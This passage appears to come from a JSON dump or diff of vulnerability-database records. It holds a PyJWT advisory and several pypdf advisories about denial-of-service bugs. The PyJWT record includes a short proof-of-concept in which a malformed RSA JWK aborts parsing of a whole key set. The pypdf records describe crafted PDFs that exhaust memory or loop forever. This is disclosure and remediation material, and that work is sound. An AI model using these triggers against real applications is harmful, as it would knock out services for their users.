(`p`, `q`, `dp`, `dq`, `qi`), `from_jwk` calls `cryptography`'s `rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e)` (`algorithms.py:572-574`) to derive the key. If `d` is not the correct private exponent for that `n`/`e` pair, `rsa_recover_prime_factors` raises a plain `ValueError`.\n\n`ValueError` is a built-in Python exception and is not a subclass of `jwt.exceptions.PyJWTError` (`PyJWTError(Exception)` is the root of PyJWT's own exception hierarchy). It is therefore not caught by `PyJWKSet.__init__`'s `except PyJWTError`, and propagates out of the constructor, aborting the `for key in keys:` loop before any subsequent key in the list is processed.\n\n`PyJWKSet.from_dict`/`from_json` and `PyJWK.from_dict`/`from_json` are exported public API (`jwt/__init__.py`). `PyJWKClient.get_jwk_set` (`jwt/jwks_client.py:158`) feeds a fetched JWKS HTTP response directly into `PyJWKSet.from_dict` with no per-key pre-validation, so this is reachable through the documented `PyJWKClient` flow whenever the fetched JWKS contains a malformed key alongside valid ones.\n\n## Proof of concept\n\n```python\nimport jwt\n\ngood_jwk = {\n \"kty\": \"RSA\",\n \"n\": \"\",\n \"e\": \"AQAB\",\n}\n\nbad_jwk = {\n \"kty\": \"RSA\",\n \"n\": good_jwk[\"n\"],\n \"e\": \"AQAB\",\n \"d\": \"AAAAAA\", # not the true private exponent for n/e, no CRT params present\n}\n\njwks_doc = {\"keys\": [bad_jwk, good_jwk]}\n\njwt.PyJWKSet.from_dict(jwks_doc)\n# raises: ValueError: Unable to compute factors p and q from exponent d.\n# (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added)\n```\n\n## Impact\n\n`PyJWKSet.__init__` raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught `ValueError`, not one of PyJWT's documented `jwt.exceptions.*` types, so exception handling written against PyJWT's documented contract (`except jwt.exceptions.PyJWTError`) will not catch it either.\n\n## Suggested remediation\n\nWrap the key-construction call in `PyJWK.__init__` (`api_jwk.py:82`) so a `ValueError` is converted into `InvalidKeyError` (a `PyJWTError` subclass):\n\n```python\ntry:\n self.key = self.Algorithm.from_jwk(self._jwk_data)\nexcept ValueError as e:\n raise InvalidKeyError(f\"Unable to construct key from JWK: {e}\") from e\n```\n\nThis lets `PyJWKSet.__init__`'s existing `except PyJWTError: continue` skip the one malformed key as its own comment already states is intended.\n\n## Responsible Disclosure Timeline\n\nPer the [OWASP Vulnerability Disclosure Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html) and [Google Project Zero's 2020 disclosure policy](https://projectzero.google/2020/01/policy-and-disclosure-2020-edition.html):\n\n- **Day 0** (date of submission): to be set to the actual API response's `created_at` timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05.\n- **Day 90** (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05.\n- A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case.\n- This window may shorten instead of extend if the issue is confirmed under active exploitation.\n\n## Try It Yourself (Sandbox)\n\nReproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.\n\n- Sandbox: [jwt.py](https://play.secdim.com/game/python/challenge/jwtpy)\n- Course: [Tenant Zero: AI & SaaS Authz Failures](https://learn.secdim.com/course/tenant-zero)\n\n## Credit\n\nDiscovered and reported by SecDim Security Research: secdim.com, @secdim, security@secdim.com.\n\n## Maintainer update \u2014 2026-09-08\n\nWe reproduced the reported behavior on PyJWT 2.13.0 with `cryptography` installed: a malformed RSA private JWK containing an invalid `d` value and no CRT parameters raised a plain `ValueError` while parsing a JWK set. Because `PyJWKSet` skips `PyJWTError` instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.\n\nThe independently verified affected range is `>= 2.9.0, <= 2.13.0`; earlier releases were not checked. A narrow fix has been prepared in commit `8915570` based on master commit `5fa7594`: `PyJWK` converts key-construction `ValueError` exceptions to `InvalidKeyError`, allowing the existing `PyJWKSet` skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.", + "id": "GHSA-w6j9-cwv2-h6wq", + "modified": "2026-09-29T18:30:41.171809330Z", + "published": "2026-09-29T18:23:01Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w6j9-cwv2-h6wq" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102274" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/8915570a0bfda9f0ff0e34e7fb09bdb9d71580cf" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set" + } + ] + }, + { + "package": { + "name": "pypdf", + "version": "6.14.2", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "PYSEC-2026-3655", + "GHSA-fp3f-mc75-235c" + ], + "aliases": [ + "CVE-2026-71870", + "GHSA-fp3f-mc75-235c", + "PYSEC-2026-3655" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3656", + "GHSA-fwg2-594c-jp42" + ], + "aliases": [ + "CVE-2026-71852", + "GHSA-fwg2-594c-jp42", + "PYSEC-2026-3656" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3910", + "GHSA-23w6-3w8w-8484" + ], + "aliases": [ + "CVE-2026-84310", + "GHSA-23w6-3w8w-8484", + "PYSEC-2026-3910" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3911", + "GHSA-763m-79hh-57f2" + ], + "aliases": [ + "CVE-2026-84311", + "GHSA-763m-79hh-57f2", + "PYSEC-2026-3911" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3912", + "GHSA-fc8x-2rww-xw9m" + ], + "aliases": [ + "CVE-2026-82398", + "GHSA-fc8x-2rww-xw9m", + "PYSEC-2026-3912" + ], + "max_severity": "6.9" + }, + { + "ids": [ + "PYSEC-2026-3913", + "GHSA-jp53-mhqp-8xcg" + ], + "aliases": [ + "CVE-2026-84309", + "GHSA-jp53-mhqp-8xcg", + "PYSEC-2026-3913" + ], + "max_severity": "6.9" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pypdf/PYSEC-2026-3655.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-71870", + "GHSA-fp3f-mc75-235c" + ], + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction.\n\n### Patches\n\nThis has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3944](https://github.com/py-pdf/pypdf/pull/3944).", + "id": "PYSEC-2026-3655", + "modified": "2026-08-10T11:30:12.871465923Z", + "published": "2026-08-10T10:43:51.717413Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fp3f-mc75-235c" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3944" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/afba8080e19d29a3c256a742b340995e695b35aa" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.15.0" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/pypdf" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-fp3f-mc75-235c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71870" + } + ], + "schema_version": "1.8.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible large memory usage for large /ToUnicode streams" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pypdf/PYSEC-2026-3656.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-71852", + "GHSA-fwg2-594c-jp42" + ], + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the font width entries of a font with unusually large values, for example during text extraction.\n\n### Patches\n\nThis has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3946](https://github.com/py-pdf/pypdf/pull/3946).", + "id": "PYSEC-2026-3656", + "modified": "2026-08-10T11:30:13.138982574Z", + "published": "2026-08-10T10:43:51.652452Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fwg2-594c-jp42" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3946" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/51cb6acf9e8a35b77e90b4d87d28fe3e1416d7d7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.15.0" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/pypdf" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-fwg2-594c-jp42" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71852" + } + ], + "schema_version": "1.8.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible long runtimes/large memory usage for large CID font width ranges" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pypdf/PYSEC-2026-3910.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.16.1" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.15.0", + "6.16.0", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-84310", + "GHSA-23w6-3w8w-8484" + ], + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires accessing the outlines of a document with either lots of entries or nested outlines with long re-used nesting paths.\n\n### Patches\n\nThis has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).", + "id": "PYSEC-2026-3910", + "modified": "2026-09-10T12:15:11.754454334Z", + "published": "2026-09-10T09:44:59.247287Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-23w6-3w8w-8484" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3966" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/d91ab705fd81ed1a9cec175c6958600dea1a4942" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.16.1" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/pypdf" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-23w6-3w8w-8484" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84310" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible long runtimes/large memory usage when retrieving outlines" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pypdf/PYSEC-2026-3911.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.16.1" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.15.0", + "6.16.0", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-84311", + "GHSA-763m-79hh-57f2" + ], + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires extracting the text of a page with lots of XForm objects, where some of them might be re-used.\n\n### Patches\n\nThis has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).", + "id": "PYSEC-2026-3911", + "modified": "2026-09-10T12:15:12.053292716Z", + "published": "2026-09-10T09:44:59.193218Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-763m-79hh-57f2" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3966" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/d91ab705fd81ed1a9cec175c6958600dea1a4942" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.16.1" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/pypdf" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-763m-79hh-57f2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84311" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible long runtimes/large memory usage when extracting XForm objects" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pypdf/PYSEC-2026-3912.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-82398", + "GHSA-fc8x-2rww-xw9m" + ], + "details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a call to `read_until_whitespace` with an input which does not have whitespace for a long time.\n\n### Patches\nThis has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3947](https://github.com/py-pdf/pypdf/pull/3947).", + "id": "PYSEC-2026-3912", + "modified": "2026-09-10T12:15:11.755909075Z", + "published": "2026-09-10T09:44:59.389615Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fc8x-2rww-xw9m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82398" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3947" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/4959848e057e37c218dccad7465259210923faaa" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.15.0" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/pypdf" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-fc8x-2rww-xw9m" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Inefficient handling of non-whitespace inputs in read_until_whitespace" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pypdf/PYSEC-2026-3913.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.16.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.15.0", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-84309", + "GHSA-jp53-mhqp-8xcg" + ], + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires a (usually writing) code path where `TreeObject.insert_child` is involved.\n\n### Patches\n\nThis has been fixed in [pypdf==6.16.0](https://github.com/py-pdf/pypdf/releases/tag/6.16.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3964](https://github.com/py-pdf/pypdf/pull/3964).", + "id": "PYSEC-2026-3913", + "modified": "2026-09-10T12:15:12.765651999Z", + "published": "2026-09-10T09:44:59.145984Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-jp53-mhqp-8xcg" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3964" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/c9ba557d565d57c53a0b3a0be06c0a4c29b0559b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.16.0" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/pypdf" + }, + { + "type": "ADVISORY", + "url": 